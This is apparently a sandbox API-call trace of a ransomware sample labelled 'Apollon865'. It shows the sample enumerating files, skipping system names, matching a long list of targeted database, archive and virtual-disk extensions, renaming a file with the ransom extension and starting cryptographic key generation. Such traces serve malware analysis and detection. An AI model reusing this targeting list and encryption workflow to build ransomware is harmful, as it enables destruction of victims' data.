	[0073.586] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecd314a0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xecd314a0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xf08b3aa0, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x28e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="state.rsm", cAlternateFileName="")) returned 1
	[0073.586] lstrcmpiW (lpString1="state.rsm", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0073.586] lstrcmpiW (lpString1="state.rsm", lpString2="Apollon865.txt.exe") returned 1
	[0073.586] lstrcmpiW (lpString1="state.rsm", lpString2=".") returned 1
	[0073.586] lstrcmpiW (lpString1="state.rsm", lpString2="..") returned 1
	[0073.586] lstrcmpiW (lpString1="state.rsm", lpString2="windows") returned -1
	[0073.586] lstrcmpiW (lpString1="state.rsm", lpString2="bootmgr") returned 1
	[0073.586] lstrcmpiW (lpString1="state.rsm", lpString2="temp") returned -1
	[0073.586] lstrcmpiW (lpString1="state.rsm", lpString2="pagefile.sys") returned 1
	[0073.586] lstrcmpiW (lpString1="state.rsm", lpString2="boot") returned 1
	[0073.586] lstrcmpiW (lpString1="state.rsm", lpString2="ids.txt") returned 1
	[0073.586] lstrcmpiW (lpString1="state.rsm", lpString2="ntuser.dat") returned 1
	[0073.587] lstrcmpiW (lpString1="state.rsm", lpString2="perflogs") returned 1
	[0073.587] lstrcmpiW (lpString1="state.rsm", lpString2="MSBuild") returned 1
	[0073.587] lstrlenW (lpString="state.rsm") returned 9
	[0073.587] lstrlenW (lpString="C:\\Users\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\*") returned 73
	[0073.587] lstrcpyW (in: lpString1=0x119e698, lpString2="state.rsm" | out: lpString1="state.rsm") returned="state.rsm"
	[0073.587] lstrlenW (lpString="state.rsm") returned 9
	[0073.587] lstrlenW (lpString="Apollon865") returned 10
	[0073.587] lstrlenW (lpString=".dll") returned 4
	[0073.587] lstrcmpiW (lpString1="state.rsm", lpString2=".dll") returned 1
	[0073.587] lstrlenW (lpString=".lnk") returned 4
	[0073.587] lstrcmpiW (lpString1="state.rsm", lpString2=".lnk") returned 1
	[0073.587] lstrlenW (lpString=".ini") returned 4
	[0073.587] lstrcmpiW (lpString1="state.rsm", lpString2=".ini") returned 1
	[0073.587] lstrlenW (lpString=".sys") returned 4
	[0073.587] lstrcmpiW (lpString1="state.rsm", lpString2=".sys") returned 1
	[0073.587] lstrlenW (lpString="state.rsm") returned 9
	[0073.587] lstrlenW (lpString="bak") returned 3
	[0073.587] lstrcmpiW (lpString1="rsm", lpString2="bak") returned 1
	[0073.587] lstrlenW (lpString="ba_") returned 3
	[0073.587] lstrcmpiW (lpString1="rsm", lpString2="ba_") returned 1
	[0073.587] lstrlenW (lpString="dbb") returned 3
	[0073.587] lstrcmpiW (lpString1="rsm", lpString2="dbb") returned 1
	[0073.587] lstrlenW (lpString="vmdk") returned 4
	[0073.587] lstrcmpiW (lpString1=".rsm", lpString2="vmdk") returned -1
	[0073.587] lstrlenW (lpString="rar") returned 3
	[0073.587] lstrcmpiW (lpString1="rsm", lpString2="rar") returned 1
	[0073.587] lstrlenW (lpString="zip") returned 3
	[0073.587] lstrcmpiW (lpString1="rsm", lpString2="zip") returned -1
	[0073.587] lstrlenW (lpString="tgz") returned 3
	[0073.587] lstrcmpiW (lpString1="rsm", lpString2="tgz") returned -1
	[0073.587] lstrlenW (lpString="vbox") returned 4
	[0073.587] lstrcmpiW (lpString1=".rsm", lpString2="vbox") returned -1
	[0073.587] lstrlenW (lpString="vdi") returned 3
	[0073.587] lstrcmpiW (lpString1="rsm", lpString2="vdi") returned -1
	[0073.587] lstrlenW (lpString="vhd") returned 3
	[0073.587] lstrcmpiW (lpString1="rsm", lpString2="vhd") returned -1
	[0073.587] lstrlenW (lpString="vhdx") returned 4
	[0073.587] lstrcmpiW (lpString1=".rsm", lpString2="vhdx") returned -1
	[0073.588] lstrlenW (lpString="avhd") returned 4
	[0073.588] lstrcmpiW (lpString1=".rsm", lpString2="avhd") returned -1
	[0073.588] lstrlenW (lpString="db") returned 2
	[0073.588] lstrcmpiW (lpString1="sm", lpString2="db") returned 1
	[0073.588] lstrlenW (lpString="db2") returned 3
	[0073.588] lstrcmpiW (lpString1="rsm", lpString2="db2") returned 1
	[0073.588] lstrlenW (lpString="db3") returned 3
	[0073.588] lstrcmpiW (lpString1="rsm", lpString2="db3") returned 1
	[0073.588] lstrlenW (lpString="dbf") returned 3
	[0073.588] lstrcmpiW (lpString1="rsm", lpString2="dbf") returned 1
	[0073.588] lstrlenW (lpString="mdf") returned 3
	[0073.588] lstrcmpiW (lpString1="rsm", lpString2="mdf") returned 1
	[0073.588] lstrlenW (lpString="mdb") returned 3
	[0073.588] lstrcmpiW (lpString1="rsm", lpString2="mdb") returned 1
	[0073.588] lstrlenW (lpString="sql") returned 3
	[0073.588] lstrcmpiW (lpString1="rsm", lpString2="sql") returned -1
	[0073.588] lstrlenW (lpString="sqlite") returned 6
	[0073.588] lstrcmpiW (lpString1="te.rsm", lpString2="sqlite") returned 1
	[0073.588] lstrlenW (lpString="sqlite3") returned 7
	[0073.588] lstrcmpiW (lpString1="ate.rsm", lpString2="sqlite3") returned -1
	[0073.588] lstrlenW (lpString="sqlitedb") returned 8
	[0073.588] lstrcmpiW (lpString1="tate.rsm", lpString2="sqlitedb") returned 1
	[0073.588] lstrlenW (lpString="xml") returned 3
	[0073.588] lstrcmpiW (lpString1="rsm", lpString2="xml") returned -1
	[0073.588] lstrlenW (lpString="$er") returned 3
	[0073.588] lstrcmpiW (lpString1="rsm", lpString2="$er") returned 1
	[0073.588] lstrlenW (lpString="4dd") returned 3
	[0073.588] lstrcmpiW (lpString1="rsm", lpString2="4dd") returned 1
	[0073.588] lstrlenW (lpString="4dl") returned 3
	[0073.588] lstrcmpiW (lpString1="rsm", lpString2="4dl") returned 1
	[0073.588] lstrlenW (lpString="^^^") returned 3
	[0073.588] lstrcmpiW (lpString1="rsm", lpString2="^^^") returned 1
	[0073.588] lstrlenW (lpString="abs") returned 3
	[0073.588] lstrcmpiW (lpString1="rsm", lpString2="abs") returned 1
	[0073.588] lstrlenW (lpString="abx") returned 3
	[0073.588] lstrcmpiW (lpString1="rsm", lpString2="abx") returned 1
	[0073.588] lstrlenW (lpString="accdb") returned 5
	[0073.588] lstrcmpiW (lpString1="e.rsm", lpString2="accdb") returned 1
	[0073.589] lstrlenW (lpString="accdc") returned 5
	[0073.589] lstrcmpiW (lpString1="e.rsm", lpString2="accdc") returned 1
	[0073.589] lstrlenW (lpString="accde") returned 5
	[0073.589] lstrcmpiW (lpString1="e.rsm", lpString2="accde") returned 1
	[0073.589] lstrlenW (lpString="accdr") returned 5
	[0073.589] lstrcmpiW (lpString1="e.rsm", lpString2="accdr") returned 1
	[0073.589] lstrlenW (lpString="accdt") returned 5
	[0073.589] lstrcmpiW (lpString1="e.rsm", lpString2="accdt") returned 1
	[0073.589] lstrlenW (lpString="accdw") returned 5
	[0073.589] lstrcmpiW (lpString1="e.rsm", lpString2="accdw") returned 1
	[0073.589] lstrlenW (lpString="accft") returned 5
	[0073.589] lstrcmpiW (lpString1="e.rsm", lpString2="accft") returned 1
	[0073.589] lstrlenW (lpString="adb") returned 3
	[0073.589] lstrcmpiW (lpString1="rsm", lpString2="adb") returned 1
	[0073.589] lstrlenW (lpString="adb") returned 3
	[0073.589] lstrcmpiW (lpString1="rsm", lpString2="adb") returned 1
	[0073.589] lstrlenW (lpString="ade") returned 3
	[0073.589] lstrcmpiW (lpString1="rsm", lpString2="ade") returned 1
	[0073.589] lstrlenW (lpString="adf") returned 3
	[0073.589] lstrcmpiW (lpString1="rsm", lpString2="adf") returned 1
	[0073.589] lstrlenW (lpString="adn") returned 3
	[0073.589] lstrcmpiW (lpString1="rsm", lpString2="adn") returned 1
	[0073.589] lstrlenW (lpString="adp") returned 3
	[0073.589] lstrcmpiW (lpString1="rsm", lpString2="adp") returned 1
	[0073.589] lstrlenW (lpString="alf") returned 3
	[0073.589] lstrcmpiW (lpString1="rsm", lpString2="alf") returned 1
	[0073.589] lstrlenW (lpString="ask") returned 3
	[0073.589] lstrcmpiW (lpString1="rsm", lpString2="ask") returned 1
	[0073.589] lstrlenW (lpString="btr") returned 3
	[0073.589] lstrcmpiW (lpString1="rsm", lpString2="btr") returned 1
	[0073.589] lstrlenW (lpString="cat") returned 3
	[0073.589] lstrcmpiW (lpString1="rsm", lpString2="cat") returned 1
	[0073.589] lstrlenW (lpString="cdb") returned 3
	[0073.589] lstrcmpiW (lpString1="rsm", lpString2="cdb") returned 1
	[0073.589] lstrlenW (lpString="ckp") returned 3
	[0073.589] lstrcmpiW (lpString1="rsm", lpString2="ckp") returned 1
	[0073.589] lstrlenW (lpString="cma") returned 3
	[0073.589] lstrcmpiW (lpString1="rsm", lpString2="cma") returned 1
	[0073.589] lstrlenW (lpString="cpd") returned 3
	[0073.590] lstrcmpiW (lpString1="rsm", lpString2="cpd") returned 1
	[0073.590] lstrlenW (lpString="dacpac") returned 6
	[0073.590] lstrcmpiW (lpString1="te.rsm", lpString2="dacpac") returned 1
	[0073.590] lstrlenW (lpString="dad") returned 3
	[0073.590] lstrcmpiW (lpString1="rsm", lpString2="dad") returned 1
	[0073.590] lstrlenW (lpString="dadiagrams") returned 10
	[0073.590] lstrlenW (lpString="daschema") returned 8
	[0073.590] lstrcmpiW (lpString1="tate.rsm", lpString2="daschema") returned 1
	[0073.590] lstrlenW (lpString="db-journal") returned 10
	[0073.590] lstrlenW (lpString="db-shm") returned 6
	[0073.590] lstrcmpiW (lpString1="te.rsm", lpString2="db-shm") returned 1
	[0073.590] lstrlenW (lpString="db-wal") returned 6
	[0073.590] lstrcmpiW (lpString1="te.rsm", lpString2="db-wal") returned 1
	[0073.590] lstrlenW (lpString="dbc") returned 3
	[0073.590] lstrcmpiW (lpString1="rsm", lpString2="dbc") returned 1
	[0073.590] lstrlenW (lpString="dbs") returned 3
	[0073.590] lstrcmpiW (lpString1="rsm", lpString2="dbs") returned 1
	[0073.590] lstrlenW (lpString="dbt") returned 3
	[0073.590] lstrcmpiW (lpString1="rsm", lpString2="dbt") returned 1
	[0073.590] lstrlenW (lpString="dbv") returned 3
	[0073.590] lstrcmpiW (lpString1="rsm", lpString2="dbv") returned 1
	[0073.590] lstrlenW (lpString="dbx") returned 3
	[0073.590] lstrcmpiW (lpString1="rsm", lpString2="dbx") returned 1
	[0073.590] lstrlenW (lpString="dcb") returned 3
	[0073.590] lstrcmpiW (lpString1="rsm", lpString2="dcb") returned 1
	[0073.590] lstrlenW (lpString="dct") returned 3
	[0073.590] lstrcmpiW (lpString1="rsm", lpString2="dct") returned 1
	[0073.590] lstrlenW (lpString="dcx") returned 3
	[0073.590] lstrcmpiW (lpString1="rsm", lpString2="dcx") returned 1
	[0073.590] lstrlenW (lpString="ddl") returned 3
	[0073.590] lstrcmpiW (lpString1="rsm", lpString2="ddl") returned 1
	[0073.590] lstrlenW (lpString="dlis") returned 4
	[0073.590] lstrcmpiW (lpString1=".rsm", lpString2="dlis") returned -1
	[0073.590] lstrlenW (lpString="dp1") returned 3
	[0073.590] lstrcmpiW (lpString1="rsm", lpString2="dp1") returned 1
	[0073.590] lstrlenW (lpString="dqy") returned 3
	[0073.590] lstrcmpiW (lpString1="rsm", lpString2="dqy") returned 1
	[0073.590] lstrlenW (lpString="dsk") returned 3
	[0073.591] lstrcmpiW (lpString1="rsm", lpString2="dsk") returned 1
	[0073.591] lstrlenW (lpString="dsn") returned 3
	[0073.591] lstrcmpiW (lpString1="rsm", lpString2="dsn") returned 1
	[0073.591] lstrlenW (lpString="dtsx") returned 4
	[0073.591] lstrcmpiW (lpString1=".rsm", lpString2="dtsx") returned -1
	[0073.591] lstrlenW (lpString="dxl") returned 3
	[0073.591] lstrcmpiW (lpString1="rsm", lpString2="dxl") returned 1
	[0073.591] lstrlenW (lpString="eco") returned 3
	[0073.591] lstrcmpiW (lpString1="rsm", lpString2="eco") returned 1
	[0073.591] lstrlenW (lpString="ecx") returned 3
	[0073.591] lstrcmpiW (lpString1="rsm", lpString2="ecx") returned 1
	[0073.591] lstrlenW (lpString="edb") returned 3
	[0073.591] lstrcmpiW (lpString1="rsm", lpString2="edb") returned 1
	[0073.591] lstrlenW (lpString="epim") returned 4
	[0073.591] lstrcmpiW (lpString1=".rsm", lpString2="epim") returned -1
	[0073.591] lstrlenW (lpString="fcd") returned 3
	[0073.591] lstrcmpiW (lpString1="rsm", lpString2="fcd") returned 1
	[0073.591] lstrlenW (lpString="fdb") returned 3
	[0073.591] lstrcmpiW (lpString1="rsm", lpString2="fdb") returned 1
	[0073.591] lstrlenW (lpString="fic") returned 3
	[0073.591] lstrcmpiW (lpString1="rsm", lpString2="fic") returned 1
	[0073.591] lstrlenW (lpString="flexolibrary") returned 12
	[0073.591] lstrlenW (lpString="fm5") returned 3
	[0073.591] lstrcmpiW (lpString1="rsm", lpString2="fm5") returned 1
	[0073.591] lstrlenW (lpString="fmp") returned 3
	[0073.591] lstrcmpiW (lpString1="rsm", lpString2="fmp") returned 1
	[0073.591] lstrlenW (lpString="fmp12") returned 5
	[0073.591] lstrcmpiW (lpString1="e.rsm", lpString2="fmp12") returned -1
	[0073.591] lstrlenW (lpString="fmpsl") returned 5
	[0073.591] lstrcmpiW (lpString1="e.rsm", lpString2="fmpsl") returned -1
	[0073.591] lstrlenW (lpString="fol") returned 3
	[0073.591] lstrcmpiW (lpString1="rsm", lpString2="fol") returned 1
	[0073.591] lstrlenW (lpString="fp3") returned 3
	[0073.591] lstrcmpiW (lpString1="rsm", lpString2="fp3") returned 1
	[0073.591] lstrlenW (lpString="fp4") returned 3
	[0073.591] lstrcmpiW (lpString1="rsm", lpString2="fp4") returned 1
	[0073.591] lstrlenW (lpString="fp5") returned 3
	[0073.591] lstrcmpiW (lpString1="rsm", lpString2="fp5") returned 1
	[0073.592] lstrlenW (lpString="fp7") returned 3
	[0073.592] lstrcmpiW (lpString1="rsm", lpString2="fp7") returned 1
	[0073.592] lstrlenW (lpString="fpt") returned 3
	[0073.592] lstrcmpiW (lpString1="rsm", lpString2="fpt") returned 1
	[0073.592] lstrlenW (lpString="frm") returned 3
	[0073.592] lstrcmpiW (lpString1="rsm", lpString2="frm") returned 1
	[0073.592] lstrlenW (lpString="gdb") returned 3
	[0073.592] lstrcmpiW (lpString1="rsm", lpString2="gdb") returned 1
	[0073.592] lstrlenW (lpString="gdb") returned 3
	[0073.592] lstrcmpiW (lpString1="rsm", lpString2="gdb") returned 1
	[0073.592] lstrlenW (lpString="grdb") returned 4
	[0073.592] lstrcmpiW (lpString1=".rsm", lpString2="grdb") returned -1
	[0073.592] lstrlenW (lpString="gwi") returned 3
	[0073.592] lstrcmpiW (lpString1="rsm", lpString2="gwi") returned 1
	[0073.592] lstrlenW (lpString="hdb") returned 3
	[0073.592] lstrcmpiW (lpString1="rsm", lpString2="hdb") returned 1
	[0073.592] lstrlenW (lpString="his") returned 3
	[0073.592] lstrcmpiW (lpString1="rsm", lpString2="his") returned 1
	[0073.592] lstrlenW (lpString="ib") returned 2
	[0073.592] lstrcmpiW (lpString1="sm", lpString2="ib") returned 1
	[0073.592] lstrlenW (lpString="idb") returned 3
	[0073.592] lstrcmpiW (lpString1="rsm", lpString2="idb") returned 1
	[0073.592] lstrlenW (lpString="ihx") returned 3
	[0073.592] lstrcmpiW (lpString1="rsm", lpString2="ihx") returned 1
	[0073.592] lstrlenW (lpString="itdb") returned 4
	[0073.592] lstrcmpiW (lpString1=".rsm", lpString2="itdb") returned -1
	[0073.592] lstrlenW (lpString="itw") returned 3
	[0073.592] lstrcmpiW (lpString1="rsm", lpString2="itw") returned 1
	[0073.592] lstrlenW (lpString="jet") returned 3
	[0073.592] lstrcmpiW (lpString1="rsm", lpString2="jet") returned 1
	[0073.592] lstrlenW (lpString="jtx") returned 3
	[0073.592] lstrcmpiW (lpString1="rsm", lpString2="jtx") returned 1
	[0073.592] lstrlenW (lpString="kdb") returned 3
	[0073.592] lstrcmpiW (lpString1="rsm", lpString2="kdb") returned 1
	[0073.592] lstrlenW (lpString="kexi") returned 4
	[0073.592] lstrcmpiW (lpString1=".rsm", lpString2="kexi") returned -1
	[0073.592] lstrlenW (lpString="kexic") returned 5
	[0073.592] lstrcmpiW (lpString1="e.rsm", lpString2="kexic") returned -1
	[0073.592] lstrlenW (lpString="kexis") returned 5
	[0073.593] lstrcmpiW (lpString1="e.rsm", lpString2="kexis") returned -1
	[0073.593] lstrlenW (lpString="lgc") returned 3
	[0073.593] lstrcmpiW (lpString1="rsm", lpString2="lgc") returned 1
	[0073.593] lstrlenW (lpString="lwx") returned 3
	[0073.593] lstrcmpiW (lpString1="rsm", lpString2="lwx") returned 1
	[0073.593] lstrlenW (lpString="maf") returned 3
	[0073.593] lstrcmpiW (lpString1="rsm", lpString2="maf") returned 1
	[0073.593] lstrlenW (lpString="maq") returned 3
	[0073.593] lstrcmpiW (lpString1="rsm", lpString2="maq") returned 1
	[0073.593] lstrlenW (lpString="mar") returned 3
	[0073.593] lstrcmpiW (lpString1="rsm", lpString2="mar") returned 1
	[0073.593] lstrlenW (lpString="marshal") returned 7
	[0073.593] lstrcmpiW (lpString1="ate.rsm", lpString2="marshal") returned -1
	[0073.593] lstrlenW (lpString="mas") returned 3
	[0073.593] lstrcmpiW (lpString1="rsm", lpString2="mas") returned 1
	[0073.593] lstrlenW (lpString="mav") returned 3
	[0073.593] lstrcmpiW (lpString1="rsm", lpString2="mav") returned 1
	[0073.593] lstrlenW (lpString="maw") returned 3
	[0073.593] lstrcmpiW (lpString1="rsm", lpString2="maw") returned 1
	[0073.593] lstrlenW (lpString="mdbhtml") returned 7
	[0073.593] lstrcmpiW (lpString1="ate.rsm", lpString2="mdbhtml") returned -1
	[0073.593] lstrlenW (lpString="mdn") returned 3
	[0073.593] lstrcmpiW (lpString1="rsm", lpString2="mdn") returned 1
	[0073.593] lstrlenW (lpString="mdt") returned 3
	[0073.593] lstrcmpiW (lpString1="rsm", lpString2="mdt") returned 1
	[0073.593] lstrlenW (lpString="mfd") returned 3
	[0073.593] lstrcmpiW (lpString1="rsm", lpString2="mfd") returned 1
	[0073.593] lstrlenW (lpString="mpd") returned 3
	[0073.593] lstrcmpiW (lpString1="rsm", lpString2="mpd") returned 1
	[0073.593] lstrlenW (lpString="mrg") returned 3
	[0073.593] lstrcmpiW (lpString1="rsm", lpString2="mrg") returned 1
	[0073.593] lstrlenW (lpString="mud") returned 3
	[0073.593] lstrcmpiW (lpString1="rsm", lpString2="mud") returned 1
	[0073.593] lstrlenW (lpString="mwb") returned 3
	[0073.593] lstrcmpiW (lpString1="rsm", lpString2="mwb") returned 1
	[0073.593] lstrlenW (lpString="myd") returned 3
	[0073.594] lstrcmpiW (lpString1="rsm", lpString2="myd") returned 1
	[0073.594] lstrlenW (lpString="ndf") returned 3
	[0073.594] lstrcmpiW (lpString1="rsm", lpString2="ndf") returned 1
	[0073.594] lstrlenW (lpString="nnt") returned 3
	[0073.594] lstrcmpiW (lpString1="rsm", lpString2="nnt") returned 1
	[0073.594] lstrlenW (lpString="nrmlib") returned 6
	[0073.594] lstrcmpiW (lpString1="te.rsm", lpString2="nrmlib") returned 1
	[0073.594] lstrlenW (lpString="ns2") returned 3
	[0073.594] lstrcmpiW (lpString1="rsm", lpString2="ns2") returned 1
	[0073.594] lstrlenW (lpString="ns3") returned 3
	[0073.594] lstrcmpiW (lpString1="rsm", lpString2="ns3") returned 1
	[0073.594] lstrlenW (lpString="ns4") returned 3
	[0073.594] lstrcmpiW (lpString1="rsm", lpString2="ns4") returned 1
	[0073.594] lstrlenW (lpString="nsf") returned 3
	[0073.594] lstrcmpiW (lpString1="rsm", lpString2="nsf") returned 1
	[0073.594] lstrlenW (lpString="nv") returned 2
	[0073.594] lstrcmpiW (lpString1="sm", lpString2="nv") returned 1
	[0073.594] lstrlenW (lpString="nv2") returned 3
	[0073.594] lstrcmpiW (lpString1="rsm", lpString2="nv2") returned 1
	[0073.594] lstrlenW (lpString="nwdb") returned 4
	[0073.594] lstrcmpiW (lpString1=".rsm", lpString2="nwdb") returned -1
	[0073.594] lstrlenW (lpString="nyf") returned 3
	[0073.594] lstrcmpiW (lpString1="rsm", lpString2="nyf") returned 1
	[0073.594] lstrlenW (lpString="odb") returned 3
	[0073.594] lstrcmpiW (lpString1="rsm", lpString2="odb") returned 1
	[0073.594] lstrlenW (lpString="odb") returned 3
	[0073.594] lstrcmpiW (lpString1="rsm", lpString2="odb") returned 1
	[0073.594] lstrlenW (lpString="oqy") returned 3
	[0073.594] lstrcmpiW (lpString1="rsm", lpString2="oqy") returned 1
	[0073.594] lstrlenW (lpString="ora") returned 3
	[0073.594] lstrcmpiW (lpString1="rsm", lpString2="ora") returned 1
	[0073.594] lstrlenW (lpString="orx") returned 3
	[0073.594] lstrcmpiW (lpString1="rsm", lpString2="orx") returned 1
	[0073.594] lstrlenW (lpString="owc") returned 3
	[0073.594] lstrcmpiW (lpString1="rsm", lpString2="owc") returned 1
	[0073.594] lstrlenW (lpString="p96") returned 3
	[0073.594] lstrcmpiW (lpString1="rsm", lpString2="p96") returned 1
	[0073.595] lstrlenW (lpString="p97") returned 3
	[0073.595] lstrcmpiW (lpString1="rsm", lpString2="p97") returned 1
	[0073.595] lstrlenW (lpString="pan") returned 3
	[0073.595] lstrcmpiW (lpString1="rsm", lpString2="pan") returned 1
	[0073.595] lstrlenW (lpString="pdb") returned 3
	[0073.595] lstrcmpiW (lpString1="rsm", lpString2="pdb") returned 1
	[0073.595] lstrlenW (lpString="pdm") returned 3
	[0073.595] lstrcmpiW (lpString1="rsm", lpString2="pdm") returned 1
	[0073.595] lstrlenW (lpString="pnz") returned 3
	[0073.595] lstrcmpiW (lpString1="rsm", lpString2="pnz") returned 1
	[0073.595] lstrlenW (lpString="qry") returned 3
	[0073.595] lstrcmpiW (lpString1="rsm", lpString2="qry") returned 1
	[0073.595] lstrlenW (lpString="qvd") returned 3
	[0073.595] lstrcmpiW (lpString1="rsm", lpString2="qvd") returned 1
	[0073.595] lstrlenW (lpString="rbf") returned 3
	[0073.595] lstrcmpiW (lpString1="rsm", lpString2="rbf") returned 1
	[0073.595] lstrlenW (lpString="rctd") returned 4
	[0073.595] lstrcmpiW (lpString1=".rsm", lpString2="rctd") returned -1
	[0073.595] lstrlenW (lpString="rod") returned 3
	[0073.595] lstrcmpiW (lpString1="rsm", lpString2="rod") returned 1
	[0073.595] lstrlenW (lpString="rodx") returned 4
	[0073.595] lstrcmpiW (lpString1=".rsm", lpString2="rodx") returned -1
	[0073.595] lstrlenW (lpString="rpd") returned 3
	[0073.595] lstrcmpiW (lpString1="rsm", lpString2="rpd") returned 1
	[0073.595] lstrlenW (lpString="rsd") returned 3
	[0073.595] lstrcmpiW (lpString1="rsm", lpString2="rsd") returned 1
	[0073.595] lstrlenW (lpString="sas7bdat") returned 8
	[0073.595] lstrcmpiW (lpString1="tate.rsm", lpString2="sas7bdat") returned 1
	[0073.595] lstrlenW (lpString="sbf") returned 3
	[0073.595] lstrcmpiW (lpString1="rsm", lpString2="sbf") returned -1
	[0073.595] lstrlenW (lpString="scx") returned 3
	[0073.595] lstrcmpiW (lpString1="rsm", lpString2="scx") returned -1
	[0073.595] lstrlenW (lpString="sdb") returned 3
	[0073.595] lstrcmpiW (lpString1="rsm", lpString2="sdb") returned -1
	[0073.595] lstrlenW (lpString="sdc") returned 3
	[0073.595] lstrcmpiW (lpString1="rsm", lpString2="sdc") returned -1
	[0073.595] lstrlenW (lpString="sdf") returned 3
	[0073.595] lstrcmpiW (lpString1="rsm", lpString2="sdf") returned -1
	[0073.596] lstrlenW (lpString="sis") returned 3
	[0073.596] lstrcmpiW (lpString1="rsm", lpString2="sis") returned -1
	[0073.596] lstrlenW (lpString="spq") returned 3
	[0073.596] lstrcmpiW (lpString1="rsm", lpString2="spq") returned -1
	[0073.596] lstrlenW (lpString="te") returned 2
	[0073.596] lstrcmpiW (lpString1="sm", lpString2="te") returned -1
	[0073.596] lstrlenW (lpString="teacher") returned 7
	[0073.596] lstrcmpiW (lpString1="ate.rsm", lpString2="teacher") returned -1
	[0073.596] lstrlenW (lpString="tmd") returned 3
	[0073.596] lstrcmpiW (lpString1="rsm", lpString2="tmd") returned -1
	[0073.596] lstrlenW (lpString="tps") returned 3
	[0073.596] lstrcmpiW (lpString1="rsm", lpString2="tps") returned -1
	[0073.596] lstrlenW (lpString="trc") returned 3
	[0073.596] lstrcmpiW (lpString1="rsm", lpString2="trc") returned -1
	[0073.596] lstrlenW (lpString="trc") returned 3
	[0073.596] lstrcmpiW (lpString1="rsm", lpString2="trc") returned -1
	[0073.596] lstrlenW (lpString="trm") returned 3
	[0073.596] lstrcmpiW (lpString1="rsm", lpString2="trm") returned -1
	[0073.596] lstrlenW (lpString="udb") returned 3
	[0073.596] lstrcmpiW (lpString1="rsm", lpString2="udb") returned -1
	[0073.596] lstrlenW (lpString="udl") returned 3
	[0073.596] lstrcmpiW (lpString1="rsm", lpString2="udl") returned -1
	[0073.596] lstrlenW (lpString="usr") returned 3
	[0073.596] lstrcmpiW (lpString1="rsm", lpString2="usr") returned -1
	[0073.596] lstrlenW (lpString="v12") returned 3
	[0073.596] lstrcmpiW (lpString1="rsm", lpString2="v12") returned -1
	[0073.596] lstrlenW (lpString="vis") returned 3
	[0073.596] lstrcmpiW (lpString1="rsm", lpString2="vis") returned -1
	[0073.596] lstrlenW (lpString="vpd") returned 3
	[0073.596] lstrcmpiW (lpString1="rsm", lpString2="vpd") returned -1
	[0073.596] lstrlenW (lpString="vvv") returned 3
	[0073.596] lstrcmpiW (lpString1="rsm", lpString2="vvv") returned -1
	[0073.596] lstrlenW (lpString="wdb") returned 3
	[0073.596] lstrcmpiW (lpString1="rsm", lpString2="wdb") returned -1
	[0073.596] lstrlenW (lpString="wmdb") returned 4
	[0073.596] lstrcmpiW (lpString1=".rsm", lpString2="wmdb") returned -1
	[0073.596] lstrlenW (lpString="wrk") returned 3
	[0073.596] lstrcmpiW (lpString1="rsm", lpString2="wrk") returned -1
	[0073.597] lstrlenW (lpString="xdb") returned 3
	[0073.597] lstrcmpiW (lpString1="rsm", lpString2="xdb") returned -1
	[0073.597] lstrlenW (lpString="xld") returned 3
	[0073.597] lstrcmpiW (lpString1="rsm", lpString2="xld") returned -1
	[0073.597] lstrlenW (lpString="xmlff") returned 5
	[0073.597] lstrcmpiW (lpString1="e.rsm", lpString2="xmlff") returned -1
	[0073.597] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\state.rsm.Apollon865") returned 92
	[0073.597] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\state.rsm" (normalized: "c:\\users\\all users\\package cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\state.rsm"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\state.rsm.Apollon865" (normalized: "c:\\users\\all users\\package cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\state.rsm.apollon865"), dwFlags=0x1) returned 1
	[0073.671] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\state.rsm.Apollon865" (normalized: "c:\\users\\all users\\package cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\state.rsm.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0xd8
	[0073.672] GetFileSizeEx (in: hFile=0xd8, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=654) returned 1
	[0073.672] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0073.672] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0073.672] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf898
	[0073.672] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf5f0) returned 1
	[0073.673] CryptGenRandom (in: hProv=0x5bf5f0, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0073.673] CryptReleaseContext (hProv=0x5bf5f0, dwFlags=0x0) returned 1
	[0073.673] CreateFileMappingW (hFile=0xd8, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x590, lpName=0x0) returned 0x100
	[0073.675] MapViewOfFile (hFileMappingObject=0x100, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x590) returned 0x100000
	[0073.705] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf5f0) returned 1
